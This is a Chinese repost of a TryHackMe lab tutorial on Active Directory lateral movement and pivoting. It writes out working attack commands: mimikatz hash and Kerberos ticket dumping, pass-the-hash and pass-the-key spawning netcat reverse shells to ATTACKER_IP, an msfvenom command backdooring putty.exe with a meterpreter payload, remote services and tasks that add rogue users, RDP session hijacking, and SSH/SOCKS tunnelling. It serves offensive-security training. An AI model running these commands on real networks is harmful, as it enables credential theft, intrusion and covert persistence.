TryHackMe-进攻性渗透测试-13_AD_横向移动和旋转

Lateral Movement and Pivoting

什么是横向移动?

简而言之,横向移动是攻击者用来在网络中移动的一组技术。一旦攻击者获得了对网络第一台计算机的访问权限,移动就是必不可少的,原因有很多,包括: - 实现我们作为攻击者的目标 - 绕过现有的网络限制 - 建立额外的网络入口点 - 制造混乱并避免检测。

虽然许多网络杀伤链将横向移动作为线性过程中的额外步骤,但它实际上是循环的一部分。在此周期中,我们使用任何可用的凭据来执行横向移动,从而使我们能够访问新计算机,在这些机器中,我们可以提升权限并在可能的情况下提取凭据。使用新发现的凭据,循环再次开始。

通常,在达到网络上的最终目标之前,我们会重复这个循环几次。如果我们的第一个立足点是一台对其他网络资源的访问权限很小的机器,我们可能需要横向移动到在网络上具有更多权限的其他主机。

一个快速的例子

假设我们正在执行红队参与,我们的最终目标是到达内部代码存储库,在那里我们使用网络钓鱼活动在目标网络上获得了第一个妥协。通常,网络钓鱼活动对非技术用户更有效,因此我们的第一次访问可能是通过营销部门的机器。

营销工作站通常会通过防火墙策略进行限制,以访问网络上的任何关键服务,包括管理协议、数据库端口、监控服务或日常工作不需要的任何其他服务,包括代码存储库。

为了访问敏感的主机和服务,我们需要转移到其他主机,并从那里转向我们的最终目标。为此,我们可以尝试提升 Marketing 工作站的权限并提取本地用户的密码哈希。如果我们找到本地管理员,则其他主机上可能存在相同的帐户。在进行了一些侦察后,我们找到了一个名为DEV-001-PC的工作站。我们使用本地管理员的密码哈希来访问 DEV-001-PC,并确认它归公司中的开发人员之一所有。从那里,可以访问我们的目标代码存储库。

请注意,虽然可能需要使用横向移动来规避防火墙限制,但它也有助于逃避检测。在我们的示例中,即使 Marketing 工作站可以直接访问代码存储库,也可能希望通过开发人员的 PC 进行连接。从蓝队分析师检查登录审核日志的角度来看,这种行为的可疑性较小。

攻击者的视角

攻击者可以通过多种方式横向移动。最简单的方法是使用标准的管理协议(如WinRM,RDP,VNC或SSH)连接到网络中的其他计算机。这种方法可以用来模拟普通用户的行为,只要在计划在哪里与哪个帐户连接时保持一定的一致性。虽然来自 IT 的用户通过 RDP 连接到 Web 服务器可能是常见的并且不为人知,但必须注意不要尝试可疑连接(例如,为什么本地管理员用户从营销 PC 连接到 DEV-001-PC?.

如今,攻击者还有其他横向移动的方法,同时使蓝队更有效地检测正在发生的事情更具挑战性。虽然没有任何技术应该被认为是绝对可靠的,但我们至少可以尝试尽可能保持沉默。在以下任务中,我们将介绍一些最常见的横向移动技术。

管理员和 UAC

在执行整个房间中引入的大多数横向移动技术时,我们将主要使用管理员凭据。虽然人们可能期望每个管理员帐户都用于相同的目的,但必须区分两种类型的管理员:

本地管理员组的本地帐户
本地管理员组的域账户

我们感兴趣的差异是用户帐户控制 (UAC) 对本地管理员(默认管理员帐户除外)施加的限制。默认情况下,除非通过 RDP 使用交互式会话,否则本地管理员将无法远程连接到计算机并执行管理任务。Windows 将拒绝通过 RPC、SMB 或 WinRM 请求的任何管理任务,因为此类管理员将使用筛选的中等完整性令牌登录,从而阻止帐户执行特权操作。唯一将获得完全权限的本地帐户是默认管理员帐户。

具有本地管理权限的域帐户将不受相同的处理,并将以完全管理权限登录。

如果需要,可以禁用此安全功能,有时您会发现管理员组中的本地帐户和域帐户之间没有区别。不过,必须记住,如果某些横向移动技术失败,可能是由于在强制使用 UAC 的情况下使用了非默认本地管理员。


此任务将查看攻击者必须远程生成进程的可用方法,从而允许他们在具有有效凭据的计算机上运行命令。讨论的每种技术都使用略有不同的方法来实现相同的目的,其中一些可能更适合某些特定方案。

Psexec

端口:445/TCP(中小企业)

所需的组成员身份:管理员

多年来,Psexec一直是需要远程执行流程的首选方法。它允许管理员用户在他有权访问的任何PC上远程运行命令。Psexec是众多Sysinternals工具之一,可以在这里下载。

psexec 的工作方式如下:

连接到 Admin$ 共享并上传服务二进制文件。Psexec使用psexesvc.exe作为名称。

连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务,并将服务二进制文件与 关联。C:\Windows\psexesvc.exe

创建一些命名管道来处理 stdin/stdout/stderr。

要运行 psexec,我们只需要提供远程主机所需的管理员凭据和我们要运行的命令

psexec64.exe \\\\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe

使用 WinRM 远程创建进程

端口:5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)

所需的组成员身份:远程管理用户

Windows Remote Management (WinRM) 是一种基于 Web 的协议,用于远程向 Windows 主机发送 Powershell 命令。默认情况下,大多数Windows Server安装将启用WinRM,使其成为有吸引力的攻击媒介。

若要从命令行连接到远程 Powershell 会话,可以使用以下命令:

winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

我们可以从Powershell实现相同的目标,但是要传递不同的凭据,我们需要创建一个PSCredential对象:

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

获得 PSCredential 对象后,可以使用 Enter-PSSession cmdlet 创建交互式会话:

Enter-PSSession -Computername TARGET -Credential $credential

Powershell还包括Invoke-Command cmdlet,它通过WinRM远程运行ScriptBlocks。凭据还必须通过 PSCredential 对象传递:

Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

远程 使用 sc 创建服务

端口:
135/TCP, 49152-65535/TCP (DCE/RPC)
445/TCP(基于 SMB 命名管道的 RPC)
139/TCP(基于 SMB 命名管道的 RPC)

所需的组成员身份:管理员

还可以利用 Windows 服务来运行任意命令,因为它们在启动时执行命令。虽然服务可执行文件在技术上与常规应用程序不同,但如果我们将 Windows 服务配置为运行任何应用程序,它仍将执行它并在之后失败。

我们可以使用 sc.exe 在远程主机上创建服务,sc是 Windows 中可用的标准工具。使用 sc 时,它将尝试以多种方式通过 RPC 连接到服务控制管理器 (SVCCTL) 远程服务程序:

将使用 DCE/RPC 进行连接尝试。客户端将首先连接到端口 135 的端点映射器 (EPM),该端口充当可用 RPC 端点的目录,并请求有关 SVCCTL 服务程序的信息。然后,EPM 将使用 IP 和端口进行响应以连接到 SVCCTL,SVCCTL 通常是 49152-65535 范围内的动态端口。

如果后一个连接失败,sc 将尝试通过端口 445 (SMB) 或 139(基于 NetBIOS 的 SMB)上的 SMB 命名管道访问 SVCCTL。

我们可以使用以下命令创建并启动一个名为“THMservice”的服务:

sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice

“net user”命令将在服务启动时执行,从而在系统上创建新的本地用户。由于操作系统负责启动服务,因此您将无法查看命令输出。

要停止和删除服务,我们可以执行以下命令:

sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice

远程创建计划任务

我们可以使用的另一个 Windows 功能是计划任务。您可以使用 schtasks 远程创建和运行一个,在任何 Windows 安装中都可用。要创建名为 THMtask1 的任务,我们可以使用以下命令:

schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "" /sc ONCE /sd 01/01/1970 /st 00:00 

schtasks /s TARGET /run /TN "THMtask1" 

我们将计划类型 (/sc) 设置为 ONCE,这意味着任务只在指定的时间和日期运行一次。由于我们将手动运行任务,因此开始日期(/sd)和开始时间(/st)无论如何都不会有太大关系。

由于系统将运行计划任务,因此命令的输出对我们不可用,因此这是盲目攻击。

最后,要删除定时任务,我们可以使用以下命令自行清理:

schtasks /S TARGET /TN "THMtask1" /DELETE /F

虽然我们已经展示了如何使用 sc 在远程系统上创建用户(通过使用 net user), 我们还可以上传任何我们想执行的二进制文件,并将其与创建的服务相关联。但是,如果我们尝试使用此方法运行反向 shell,我们会注意到反向 shell 在执行后立即断开连接。这样做的原因是 s 服务可执行文件与标准.exe文件不同,因此非服务可执行文件最终几乎会立即被服务管理器杀死。对我们来说幸运的是,msfvenom支持: exe-service格式,它将把我们喜欢的任何有效载荷封装在一个功能齐全的服务可执行文件中,防止它被杀死。


从 Powershell 连接到 WMI

在能够使用 Powershell 命令连接到 WMI 之前,我们需要使用我们的用户名和密码创建一个 PSCredential 对象。此对象将存储在 $credential 变量中,并在此任务的整个技术中使用:

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

然后,我们继续使用以下任一协议建立 WMI 会话:

DCOM:RPC over IP 将用于连接到 WMI。此协议使用端口 135/TCP 和端口 49152-65535/TCP,就像使用 sc.exe 时所述。
Wsman:WinRM 将用于连接到 WMI。此协议使用端口 5985/ TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)。

若要从 Powershell 建立 WMI 会话,我们可以使用以下命令并将会话存储在 $Session 变量上,我们将在整个房间内使用不同的技术:

$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

使用 WMI 远程创建进程

端口:

135/TCP, 49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)

所需的组成员身份:管理员

我们可以利用 Windows Management Instrumentation (WMI) 从 Powershell 远程生成进程,向 Win32_Process 类发送 WMI 请求以在我们之前创建的会话下生成进程:

$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}

请注意,WMI 不允许你查看任何命令的输出,但确实会以静默方式创建所需的进程。

使用 WMI 远程创建服务

端口:

135/TCP, 49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)

所需的组成员身份:管理员

我们可以通过Powershell使用WMI创建服务。要创建一个名为 THMService2 的服务,我们可以使用以下命令:

Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}

然后,我们可以掌握该服务并使用以下命令启动它:

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"

Invoke-CimMethod -InputObject $Service -MethodName StartService

最后,我们可以使用以下命令停止和删除服务:

Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

使用 WMI 远程创建计划任务

端口:
135/TCP, 49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)

所需的组成员身份:管理员

我们可以通过使用 Windows 默认安装中提供的一些 cmdlet 来创建和执行计划任务:

$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"

要在计划任务使用后将其删除,我们可以使用以下命令:

Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"

通过 WMI 安装 MSI 包

端口:

135/TCP, 49152-65535/TCP (DCERPC)
5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)

所需的组成员身份:管理员

MSI 是用于安装程序的文件格式。如果我们可以将 MSI 包复制到目标系统,则可以使用 WMI 尝试为我们安装它。可以通过攻击者可用的任何方式复制该文件。一旦 MSI 文件位于目标系统中,我们可以尝试通过 WMI 调用 Win32_Product 类来安装它:

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

通过备用身份验证材料,我们指的是可用于访问 Windows 帐户的任何数据,而无需实际知道用户的密码本身。这是可能的,因为Windows网络使用的某些身份验证协议的工作方式。在此任务中,我们将介绍当网络上有以下任一身份验证协议可用时,可用于以用户身份登录的几种替代方法:

NTLM 身份验证
Kerberos 身份验证

注意:在此任务期间,假定您熟悉从主机提取凭据的方法和工具。Mimikatz将用作整个房间的凭据提取的首选工具。

NTLM 身份验证

在深入了解实际的横向移动技术之前,让我们看一下 NTLM 身份验证的工作原理:

TryHackMe-进攻性渗透测试-13_AD_横向移动和旋转_第1张图片
客户端向要访问的服务器发送身份验证请求。
服务器生成一个随机数,并将其作为质询发送给客户端。
客户端将其 NTLM 密码哈希与质询(和其他已知数据)相结合,以生成对质询的响应,并将其发送回服务器进行验证。
服务器将质询和响应转发到域控制器进行验证。
域控制器使用质询重新计算响应,并将其与客户端发送的初始响应进行比较。如果它们都匹配,则客户端进行身份验证;否则,访问将被拒绝。身份验证结果将发送回服务器。
服务器将身份验证结果转发到客户端。

注意:使用域帐户时,所描述的过程适用。如果使用本地帐户,则服务器可以验证对质询本身的响应,而无需与域控制器交互,因为它在其 SAM 上本地存储了密码哈希。

传递哈希

由于从我们已获得管理权限的主机中提取凭据(通过使用 mimikatz 或类似工具),我们可能会获得易于破解的明文密码或哈希。但是,如果我们不够幸运,我们最终会得到未破解的 NTLM 密码哈希。

尽管我们似乎无法真正使用这些哈希,但只需知道密码哈希即可响应身份验证期间发送的 NTLM 质询。这意味着我们可以进行身份验证,而无需知道明文密码。如果将 Windows 域配置为使用 NTLM 身份验证,则不必破解 NTLM 哈希,我们可以传递哈希 (PtH) 并成功进行身份验证。

要提取 NTLM 哈希,我们可以使用 mimikatz 读取本地 SAM 或直接从 LSASS 内存中提取哈希。

从本地 SAM 提取 NTLM 哈希:

此方法仅允许您从计算机上的本地用户获取哈希。没有域用户的哈希值可用。

mimikatz # privilege::debug
mimikatz # token::elevate

mimikatz # lsadump::sam

从 LSASS 内存中提取 NTLM 哈希:

此方法将允许您提取本地用户和最近登录到计算机的任何域用户的任何 NTLM 哈希。

mimikatz # privilege::debug
mimikatz # token::elevate

mimikatz # sekurlsa::msv 

然后,我们可以使用提取的哈希来执行 PtH 攻击,方法是使用 mimikatz 在反向 shell(或您喜欢的任何其他命令)上为受害用户注入访问令牌,如下所示:

mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"

我们使用的通知 token::revert 重新建立我们原来的令牌权限,因为尝试使用提升的令牌传递哈希是行不通的。

这相当于使用 runas /netonly 但是使用哈希而不是密码,并且会生成一个新的反向外壳,我们可以从中以受害用户的身份启动任何命令。

使用 Linux 传递哈希:

如果您可以访问 linux 盒子(如 AttackBox),则有几个工具内置支持使用不同的协议执行 PtH。根据您可以使用的服务,您可以执行以下操作:

使用 PtH 连接到 RDP:

xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH

使用 PtH 通过 psexec 连接:

psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP

注意:只有 psexec 的 linux 版本支持 PtH。

使用 PtH 连接到 WinRM:

evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

Kerberos 身份验证

让我们快速浏览一下 Kerberos 身份验证在 Windows 网络上的工作原理:

用户将他的用户名和时间戳发送到密钥分发中心 (KDC),该服务通常安装在负责在网络上创建 Kerberos 票证的域控制器上。

KDC 将创建并发回票证授予票证 (TGT),允许用户请求票证以访问特定服务,而无需将其凭据传递给服务本身。与 TGT 一起,向用户提供一个会话密钥,他们需要该密钥来生成随后的请求。

请注意,TGT 是使用 krbtgt 帐户的密码哈希加密的,因此用户无法访问其内容。重要的是要知道加密的 TGT 包含会话密钥的副本作为其内容的一部分,并且 KDC 无需存储会话密钥,因为它可以通过解密 TGT 来恢复副本(如果需要)。

当用户想要连接到网络上的服务(如共享、网站或数据库)时,他们将使用他们的 TGT 向 KDC 请求票证授予服务 (TGS)。TGS 是仅允许连接到为其创建的特定服务的票证。若要请求 TGS,用户将发送其用户名和使用会话密钥加密的时间戳,以及 TGT 和服务主体名称 (SPN),该名称指示我们打算访问的服务和服务器名称。

因此,KDC 将向我们发送 TGS 和服务会话密钥,我们需要向要访问的服务进行身份验证。TGS 使用服务所有者哈希进行加密。服务所有者是运行服务的用户或计算机帐户。TGS 在其加密内容上包含服务会话密钥的副本,以便服务所有者可以通过解密 TGS 来访问它。

TryHackMe-进攻性渗透测试-13_AD_横向移动和旋转_第2张图片

然后,可以将 TGS 发送到所需的服务以进行身份验证并建立连接。该服务将使用其配置的帐户的密码哈希来解密 TGS 并验证服务会话密钥。

TryHackMe-进攻性渗透测试-13_AD_横向移动和旋转_第3张图片

门票通行证 & 票证注入

有时可以使用mimikatz从LSASS内存中提取Kerberos票证和会话密钥。该过程通常需要我们在受攻击的计算机上具有SYSTEM权限,并且可以按以下步骤完成:

mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

请注意,如果我们只能访问票证,而不能访问其相应的会话密钥,我们将无法使用该票证;因此,两者都是必要的。

虽然mimikatz可以从LSASS进程的内存中提取任何可用的TGT或TGS,但大多数时候,我们会对TGT感兴趣,因为它们可用于请求访问允许用户访问的任何服务。同时,TGS 仅适用于特定服务。提取 TGT 需要我们具有管理员凭据,并且可以使用低特权帐户(仅分配给该帐户的帐户)提取 TGS。

提取所需的票证后,我们可以使用以下命令将票证注入当前会话:

mimikatz # kerberos::ptt [0;427fcd5][email protected]

在我们自己的会话中注入票证不需要管理员权限。在此之后,门票将可用于我们用于横向移动的任何工具。要检查票证是否正确注入,您可以使用 klist 命令:

za\bob.jenkins@THMJMP2 C:\> klist

哈希传递/密钥传递

这种攻击类似于PtH,但适用于Kerberos网络。

当用户请求 TGT 时,他们会发送一个时间戳,该时间戳使用从其密码派生的加密密钥进行加密。用于派生此密钥的算法可以是 DES(在当前 Windows 版本上默认禁用)、RC4、AES128 或 AES256,具体取决于安装的 Windows 版本和 Kerberos 配置。如果我们有这些密钥中的任何一个,我们可以向 KDC 请求 TGT,而无需实际密码,因此称为传递密钥 (PtK)。

我们可以通过使用 mimikatz 和以下命令从内存中获取 Kerberos 加密密钥:

mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys

根据可用的密钥,我们可以在 mimikatz 上运行以下命令,通过传递密钥获取反向 shell(为了方便起见,THMJMP2 中已经提供了):nc64

如果我们有 RC4 哈希:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

如果我们有 AES128 哈希:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

如果我们有 AES256 哈希:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

请注意,使用 RC4 时,密钥将等于用户的 NTLM 哈希。这意味着,如果我们可以提取 NTLM 哈希,只要 RC4 是启用的协议之一,我们就可以使用它来请求 TGT。这种特殊的变体通常被称为Overpass-the-Hash(OPtH)。


后门.exe文件

如果共享文件是Windows二进制文件,例如putty.exe,则可以从共享中下载它并使用msfvenom在其中注入后门。二进制文件仍将照常工作,但以静默方式执行额外的有效负载。要创建后门腻子.exe,我们可以使用以下命令:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost= lport=4444 -b "\x00" -f exe -o puttyX.exe

生成的 puttyX.exe 将在用户没有注意到的情况下执行 reverse_tcp 米有效载荷。生成文件后,我们可以替换 windows 共享上的可执行文件,并使用 Metasploit 中的 exploit/multi/handler 模块等待任何连接。

RDP 劫持

当管理员使用远程桌面连接到计算机并关闭 RDP 客户端而不是注销时,他的会话将在服务器上无限期地保持打开状态。如果您在 Windows Server 2016 及更早版本上具有 SYSTEM 权限,则可以接管任何现有的 RDP 会话,而无需密码。

如果我们具有管理员级别的访问权限,则可以通过我们喜欢的任何方法获取SYSTEM。现在,我们将使用 psexec 来执行此操作。首先,让我们以管理员身份运行一个cmd.exe:

PsExec64.exe -s cmd.exe

若要列出服务器上的现有会话,可以使用以下命令:

C:\> query user
USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>administrator         rdp-tcp#6           2  Active          .  4/1/2022 4:09 AM
luke                                    3  Disc            .  4/6/2022 6:51 AM

根据上面的命令输出,如果我们当前使用管理员用户通过 RDP 进行连接,我们的 SESSIONNAME 将是 .我们还可以看到,一个名为 luke 的用户使用 id 打开了一个会话。任何具有 Disc 状态的会话都已由用户保持打开状态,目前未被使用。虽然您也可以接管活动会话,但当您这样做时,合法用户将被强制退出其会话,这可能会被他们注意到。rdp-tcp#63

要连接到会话,我们将使用 tscon.exe 并指定我们将接管的会话 ID,以及我们当前的会话名称。按照前面的示例,如果我们以管理员用户身份连接,要接管 luke 的会话,我们将使用以下命令:

tscon 3 /dest:rdp-tcp#6
简单来说,该命令指出 luke 拥有的图形会话应与管理员用户拥有的 RDP 会话连接。3rdp-tcp#6

因此,我们将恢复 luke 的 RDP 会话并立即连接到它。

注意:Windows Server 2019不允许您在不知道密码的情况下连接到其他用户的会话。


SSH远程端口转发

在我们的示例中,假设防火墙策略阻止攻击者的计算机直接访问服务器上的端口 3389。如果攻击者之前入侵了 PC-1,反过来,PC-1 可以访问服务器的端口 3389,则可以使用它从 PC-1 进行远程端口转发来透视到端口 3389。远程端口转发允许您从 SSH 客户端(在本例中为 PC-1)获取可访问端口,并将其投影到远程 SSH 服务器(攻击者的计算机)中。

因此,攻击者的计算机中将打开一个端口,该端口可用于通过SSH隧道连接回服务器中的端口3389。反过来,PC-1 将代理连接,以便服务器将看到所有流量,就好像它来自 PC-1 一样:

TryHackMe-进攻性渗透测试-13_AD_横向移动和旋转_第4张图片

此时可能弹出的一个有效问题是,如果我们破坏了PC-1并且可以直接从那里运行RDP会话,为什么我们需要端口转发。答案很简单:在我们只能对 PC-1 进行控制台访问的情况下,我们将无法使用任何 RDP 客户端,因为我们没有 GUI。通过使端口可供攻击者的计算机使用,您可以使用 Linux RDP 客户端进行连接。当您想要对无法直接访问的端口运行漏洞利用时,会出现类似的情况,因为您的漏洞利用可能需要特定的脚本语言,而该语言可能并不总是在您在此过程中入侵的计算机上可用。

参考上图,要将服务器上的 3389 端口转发回我们攻击者的机器,我们可以在 PC-1 上使用以下命令:

C:\> ssh [email protected] -R 3389:3.3.3.3:3389 -N

这将建立从 PC-1 到 1.1.1.1 (攻击者电脑)使用 tunneluser用户。

自从 tunneluser 不允许在攻击者 PC 上运行 shell,我们需要运行 ssh 命令与 -N 切换以防止客户端请求一个,否则连接将立即退出。这 -R switch 用于请求远程端口转发,语法要求我们首先指示我们将在 SSH 服务器上打开的端口 (3389),然后是冒号,然后是我们要转发的套接字的 IP 和端口 (3.3.3.3:3389)。请注意,端口号不需要匹配,尽管在本例中需要匹配。

命令本身不会输出任何内容,但隧道将取决于要运行的命令。只要我们愿意,我们可以通过按 CTRL+C 关闭隧道,就像任何其他命令一样。

一旦我们的隧道设置并运行,我们就可以转到攻击者的计算机,并将RDP发送到转发的端口以到达服务器:

攻击者的机器
munra@attacker-pc$ xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword

SSH 本地端口转发
本地端口转发允许我们将端口从 SSH 服务器“拉”到 SSH 客户端。在我们的场景中,这可用于获取攻击者计算机中可用的任何服务,并通过 PC-1 上的端口使其可用。这样,任何无法直接连接到攻击者的电脑但可以连接到 PC-1 的主机现在都可以通过透视主机访问攻击者的服务。

使用这种类型的端口转发将允许我们从通常无法连接回我们的主机运行反向 shell,或者只是将我们想要的任何服务提供给与我们没有直接连接的机器。

TryHackMe-进攻性渗透测试-13_AD_横向移动和旋转_第5张图片

要从攻击者的计算机转发端口 80 并从 PC-1 使其可用,我们可以在 PC-1 上运行以下命令:

C:\> ssh [email protected] -L *:80:127.0.0.1:80 -N

命令结构类似于远程端口转发中使用的命令结构,但使用本地端口转发选项。此选项要求我们从攻击者的 PC 角度指示 PC-1 用于接收连接的本地套接字 (*:80) 和要连接的远程套接字 (127.0.0.1:80)。-L

请注意,我们在第二个套接字中使用 IP 地址 127.0.0.1,因为从攻击者的 PC 角度来看,这是保存要转发的端口 80 的主机。

由于我们要在 PC-1 上打开一个新端口,因此我们可能需要添加防火墙规则以允许传入连接 (与 )。为此需要管理权限:dir=in

netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

一旦你的隧道建立起来,任何用户都会将他们的浏览器指向PC-1,并看到攻击者机器发布的网站。http://2.2.2.2:80


动态端口转发和袜子

虽然单端口转发非常适合需要访问特定套接字的任务,但有时我们可能需要通过透视主机对主机的许多端口运行扫描,甚至跨多台计算机的许多端口运行扫描。在这些情况下,动态端口转发允许我们使用 SOCKS 代理通过主机进行透视并与我们想要的任何 IP 地址/端口建立多个连接。

由于我们不想依赖目标网络中 Windows 计算机上存在的 SSH 服务器,因此我们通常会使用 SSH 客户端通过以下命令建立反向动态端口转发:

C:\> ssh [email protected] -R 9050 -N

在这种情况下,SSH服务器将在端口上启动SOCKS代理,并通过SSH隧道转发任何连接请求,最终由SSH客户端代理。9050

最有趣的部分是,我们可以通过代理链通过 SOCKS 代理轻松使用我们的任何工具。为此,我们首先需要确保代理链正确配置为将任何连接指向 SSH 用于 SOCKS 代理服务器的同一端口。代理链配置文件可以在您的AttackBox上找到。如果我们向下滚动到配置文件的末尾,我们应该看到一行,指示用于袜子代理的端口:/etc/proxychains.conf

[ProxyList]
socks4  127.0.0.1 9050

默认端口为 9050,但只要与我们在建立 SSH 隧道时使用的端口匹配,任何端口都可以工作。

如果我们现在想通过代理执行任何命令,我们可以使用代理链:

proxychains curl http://pxeboot.za.tryhackme.com

请注意,在某些情况下,某些软件(如nmap)可能无法很好地与SOCKS配合使用,并且可能会显示更改的结果,因此您的里程可能会有所不同。

你可能感兴趣的:(网络,网络安全,服务器,windows)